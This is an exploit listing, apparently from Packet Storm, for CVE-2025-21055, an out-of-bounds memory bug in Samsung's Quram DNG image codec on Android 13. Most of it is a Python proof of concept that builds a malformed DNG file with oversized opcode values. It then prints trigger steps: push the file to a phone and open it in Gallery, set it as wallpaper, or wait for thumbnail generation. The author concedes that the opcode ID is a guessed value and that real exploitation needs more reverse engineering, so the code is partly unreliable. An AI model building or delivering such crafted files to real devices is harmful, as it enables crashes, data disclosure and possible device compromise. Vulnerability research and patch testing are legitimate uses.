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📄 Android 13 Quram DNG Codec Memory Corruption

🗓️ 02 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 183 Views

CVE-2025-21055 memory corruption in Samsung Quram DNG codec on Android 13 may cause data disclosure, crash, or remote code execution; patched Oct 2025.

Related
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ReporterTitlePublishedViews
Family
Circl
CVE-2025-21055
10 Oct 202507:09
circl
CNNVD
SAMSUNG Mobile devices 安全漏洞
10 Oct 202500:00
cnnvd
CNVD
Unspecified vulnerability in SAMSUNG Mobile devices (CNVD-2025-24783)
21 Oct 202500:00
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CVE
CVE-2025-21055
10 Oct 202506:33
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Cvelist
CVE-2025-21055
10 Oct 202506:33
cvelist
EUVD
EUVD-2025-33677
10 Oct 202509:30
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NVD
CVE-2025-21055
10 Oct 202507:15
nvd
OSV
CVE-2025-21055
10 Oct 202507:15
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Packet Storm
📄 Samsung Quram DNG Advanced Remote Code Execution
9 Feb 202600:00
packetstorm
Positive Technologies
PT-2025-41516
10 Oct 202500:00
ptsecurity
Rows per page
=============================================================================================================================================
    | # Title     : Android 13 Quram DNG Codec Memory Corruption Vulnerability                                                                   |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://www.samsung.com/n_africa/                                                                                           |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211371/ & CVE-2025-21055  https://packetstorm.news/download/211371
    
    [+] Summary : 
    
    CVE‑2025‑21055 is an Out‑of‑Bounds Read/Write vulnerability in **Samsung’s Quram image codec library** (`libimagecodec.quram.so`). 
    The flaw is triggered when the library processes a maliciously crafted image file, causing memory access outside the intended buffer boundaries.
    Successful exploitation can result in **information disclosure**, **application crash**, or potentially **arbitrary code execution**, 
    depending on the attack scenario. The issue affects Samsung devices running vulnerable versions of the Quram codec **prior to the security update SMR October 2025 Release 1**.
    Samsung addressed the vulnerability by releasing a patched version of the image codec library in the October 2025 Security Maintenance Release (SMR).
    
    [+] Vulnerability: Remote Code Execution in Samsung’s libimagecodec.quram.so library.
    
    [+] Affected software: Samsung devices running Android 13 with firmware older than SMR Oct‑2025 Release 1.
    
    [+] Impact: An attacker can exploit the vulnerability via specially crafted image files to execute arbitrary code on the device.
    
    [+] Affected devices: All Samsung devices using the vulnerable library version, including (but not limited to) Galaxy S22, S23, S24, Z Fold4, Z Flip4—only if firmware is unpatched.
    
    [+] Patch/Remediation: Apply the October 2025 SMR or later security update.
    
    [+]  POC : python poc.py
    
    #!/usr/bin/env python3
    """
    Proof of Concept for CVE-2025-21055
    Quram DNG Codec Memory Corruption Vulnerability
    """
    
    import struct
    import os
    
    def create_malicious_dng():
        """
        إنشاء ملف DNG مصمم لإثارة الخلل في QuramDngOpcodeScalePerColumn
        """
        
        # هيكل أساسي لملف DNG مع opcodes مخصصة
        dng_data = bytearray()
        
        # TIFF Header (مطلوب لملفات DNG)
        dng_data.extend(b'II*\x00')  # Little-endian TIFF
        dng_data.extend(struct.pack('<I', 8))  # Offset to IFD0
        
        # IFD0 - Basic tags
        ifd0_data = bytearray()
        ifd0_data.extend(struct.pack('<H', 11))  # Number of entries
        
        # ImageWidth (مطلوب) - Tag 256, Type=LONG (4), Count=1, Value=100
        ifd0_data.extend(struct.pack('<HHI', 256, 4, 1))
        ifd0_data.extend(struct.pack('<I', 100))
        
        # ImageLength (مطلوب) - Tag 257, Type=LONG (4), Count=1, Value=100  
        ifd0_data.extend(struct.pack('<HHI', 257, 4, 1))
        ifd0_data.extend(struct.pack('<I', 100))
        
        # BitsPerSample - Tag 258, Type=SHORT (3), Count=3
        ifd0_data.extend(struct.pack('<HHI', 258, 3, 3))
        bits_per_sample_offset = len(dng_data) + len(ifd0_data) + 4
        ifd0_data.extend(struct.pack('<I', bits_per_sample_offset))
        
        # Compression - Tag 259, Type=SHORT (3), Count=1, Value=1 (No compression)
        ifd0_data.extend(struct.pack('<HHI', 259, 3, 1))
        ifd0_data.extend(struct.pack('<H', 1))  # Value in the offset field
        ifd0_data.extend(b'\x00\x00')  # Padding
        
        # PhotometricInterpretation - Tag 262, Type=SHORT (3), Count=1, Value=32803 (CFA)
        ifd0_data.extend(struct.pack('<HHI', 262, 3, 1))
        ifd0_data.extend(struct.pack('<H', 32803))
        ifd0_data.extend(b'\x00\x00')  # Padding
        
        # Make DNG-specific tags
        # DNGVersion - Tag 50706, Type=BYTE (1), Count=4, Value=[1,0,0,0]
        ifd0_data.extend(struct.pack('<HHI', 50706, 1, 4))
        dng_version_offset = len(dng_data) + len(ifd0_data) + 4
        ifd0_data.extend(struct.pack('<I', dng_version_offset))
        
        # DNGBackwardVersion - Tag 50707, Type=BYTE (1), Count=4, Value=[1,0,0,0]
        ifd0_data.extend(struct.pack('<HHI', 50707, 1, 4))
        dng_backward_offset = len(dng_data) + len(ifd0_data) + 4
        ifd0_data.extend(struct.pack('<I', dng_backward_offset))
        
        # OpcodeList1 - النقطة الحرجة للهجوم - Tag 51008
        opcode_list = create_malicious_opcodes()
        ifd0_data.extend(struct.pack('<HHI', 51008, 1, len(opcode_list)))
        opcode_list_offset = len(dng_data) + len(ifd0_data) + 4
        ifd0_data.extend(struct.pack('<I', opcode_list_offset))
        
        # CFAPattern - Tag 33421, Type=BYTE (1), Count=4
        ifd0_data.extend(struct.pack('<HHI', 33421, 1, 4))
        cfa_pattern_offset = len(dng_data) + len(ifd0_data) + 4
        ifd0_data.extend(struct.pack('<I', cfa_pattern_offset))
        
        # نموذج CFA بسيط - RGGB
        cfa_pattern = b'\x00\x01\x01\x02'
        
        # إضافة بيانات إضافية
        ifd0_data.extend(struct.pack('<I', 0))  # Offset to next IFD
        
        # دمج كل البيانات
        dng_data.extend(ifd0_data)
        
        # إضافة البيانات المرجعية
        # BitsPerSample data
        dng_data.extend(struct.pack('<HHH', 16, 16, 16))
        
        # DNGVersion data
        dng_data.extend(b'\x01\x00\x00\x00')
        
        # DNGBackwardVersion data  
        dng_data.extend(b'\x01\x00\x00\x00')
        
        # CFA Pattern data
        dng_data.extend(cfa_pattern)
        
        # إضافة OpcodeList في الموضع الصحيح
        opcode_pos = opcode_list_offset - len(dng_data)
        if opcode_pos < 0:
            # إذا كان الموقع سالباً، نضيف padding
            padding_needed = -opcode_pos
            dng_data.extend(b'\x00' * padding_needed)
            dng_data.extend(opcode_list)
        else:
            # إذا كان الموقع موجباً، نضيف في الموضع المحدد
            if len(dng_data) < opcode_list_offset:
                dng_data.extend(b'\x00' * (opcode_list_offset - len(dng_data)))
            dng_data.extend(opcode_list)
        
        return bytes(dng_data)
    
    def create_malicious_opcodes():
        """
        إنشاء opcodes مصممة لإثارة الخلل في ScalePerColumn
        """
        opcodes = bytearray()
        
        # Opcode ID لـ ScalePerColumn (قيمة افتراضية - تحتاج التحقق)
        scale_per_column_id = 0x0000000A
        
        # Version
        opcodes.extend(struct.pack('<I', 1))
        
        # إحداثيات المنطقة - قيم مصممة لإثارة integer overflow
        # استخدام قيم كبيرة لإثارة الفائض في الحسابات
        top = 0x00000000
        left = 0x00000000  
        bottom = 0xFFFFFFFF  # قيمة كبيرة جداً
        right = 0xFFFFFFFF   # قيمة كبيرة جداً
        
        opcodes.extend(struct.pack('<IIII', top, left, bottom, right))
        
        # عدد الأعمدة - قيمة غير طبيعية
        column_count = 0x7FFFFFFF  # MAX_INT تقريباً
        opcodes.extend(struct.pack('<I', column_count))
        
        # معاملات القياس - قيم مصممة لإثارة الخلل في الحسابات
        # استخدام قيم تؤدي إلى عناوين ذاكرة غير صالحة
        for i in range(100):  # عدد كبير من المعاملات
            # قيم مصممة لإنشاء عنوان ذاكرة غير قانوني
            if i % 4 == 0:
                factor = 0xB4000000 + (i * 0x1000)  # محاولة الوصول لعنوان الكراش
            else:
                factor = 0x00000001  # قيم عادية لتجنب الاكتشاف المبكر
            
            opcodes.extend(struct.pack('<I', factor & 0xFFFFFFFF))
        
        return opcodes
    
    def create_simplified_indoushka():
        """
        نسخة مبسطة من الملف الخبيث تركز على الجزء الأساسي
        """
        dng_data = bytearray()
        
        # TIFF Header بسيط
        dng_data.extend(b'II*\x00\x08\x00\x00\x00')  # Header + offset to IFD
        
        # IFD مع عدد قليل من Tags
        ifd_data = bytearray()
        ifd_data.extend(struct.pack('<H', 5))  # 5 entries
        
        # ImageWidth
        ifd_data.extend(struct.pack('<HHI', 256, 4, 1))
        ifd_data.extend(struct.pack('<I', 100))
        
        # ImageLength
        ifd_data.extend(struct.pack('<HHI', 257, 4, 1))
        ifd_data.extend(struct.pack('<I', 100))
        
        # Compression
        ifd_data.extend(struct.pack('<HHI', 259, 3, 1))
        ifd_data.extend(struct.pack('<H', 1))
        ifd_data.extend(b'\x00\x00')
        
        # PhotometricInterpretation (CFA)
        ifd_data.extend(struct.pack('<HHI', 262, 3, 1))
        ifd_data.extend(struct.pack('<H', 32803))
        ifd_data.extend(b'\x00\x00')
        
        # OpcodeList1 - التركيز على الجزء المهم
        ifd_data.extend(struct.pack('<HHI', 51008, 1, 1000))  # حجم كبير
        opcode_offset = len(dng_data) + len(ifd_data) + 4
        ifd_data.extend(struct.pack('<I', opcode_offset))
        
        # No next IFD
        ifd_data.extend(struct.pack('<I', 0))
        
        dng_data.extend(ifd_data)
        
        # إضافة opcodes خبيثة
        opcodes = bytearray()
        opcodes.extend(struct.pack('<I', 1))  # version
        
        # إحداثيات كبيرة جداً
        opcodes.extend(struct.pack('<IIII', 0, 0, 0x7FFFFFFF, 0x7FFFFFFF))
        
        # معاملات قياس مصممة للتسبب في memory corruption
        for i in range(200):
            if i == 50:  # في منتصف البيانات، نضيف القيم الخبيثة
                opcodes.extend(struct.pack('<I', 0xB4000079))
                opcodes.extend(struct.pack('<I', 0x2607A000))
            else:
                opcodes.extend(struct.pack('<I', i))
        
        # تأكد من أن البيانات في الموضع الصحيح
        if len(dng_data) < opcode_offset:
            dng_data.extend(b'\x00' * (opcode_offset - len(dng_data)))
        
        dng_data.extend(opcodes)
        
        return bytes(dng_data)
    
    def indoushka_via_gallery(file_path):
        """
        محاولة استغلال الثغرة عبر معالجة الملف في الجاليري
        """
        print(f"[+] Creating malicious DNG file: {file_path}")
        
        try:
            # محاولة إنشاء الملف بالطريقة المعقدة أولاً
            malicious_dng = create_malicious_dng()
            print("[+] Complex DNG created successfully")
        except Exception as e:
            print(f"[-] Complex method failed: {e}")
            print("[+] Trying simplified method...")
            malicious_dng = create_simplified_indoushka()
            print("[+] Simplified DNG created successfully")
        
        with open(file_path, 'wb') as f:
            f.write(malicious_dng)
        
        file_size = os.path.getsize(file_path)
        print(f"[+] Malicious DNG file created: {file_path} ({file_size} bytes)")
        
        print("\n[+] Trigger methods:")
        print("    1. Copy file to device: adb push indoushka.dng /sdcard/Download/")
        print("    2. Open file in Samsung Gallery")
        print("    3. Use 'Set as wallpaper' feature") 
        print("    4. Share the image to Gallery")
        print("    5. Wait for automatic thumbnail generation")
    
    def analyze_crash():
        """
        تحليل معلومات الكراش من السجل المرفق
        """
        print("\n[!] Crash Analysis:")
        print("    - Fault address: 0xb40000792607a000 (non-canonical ARM64 address)")
        print("    - Crash in: QuramDngOpcodeScalePerColumn::processArea()")
        print("    - Likely cause: Integer overflow in memory calculation")
        print("    - Attack vector: Malicious ScalePerColumn opcode in DNG")
    
    if __name__ == "__main__":
        print("CVE-2025-21055 - Quram DNG Codec PoC")
        print("=====================================")
        
        output_file = "indoushka.dng"
        
        analyze_crash()
        indoushka_via_gallery(output_file)
        
        print(f"\n[!] PoC file '{output_file}' generated successfully")
        print("[!] Test on isolated device only!")
        print("[!] Actual exploitation requires precise opcode values from reverse engineering")
    	
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

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02 Dec 2025 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 3.14.3 - 7.5
EPSS0.00044
183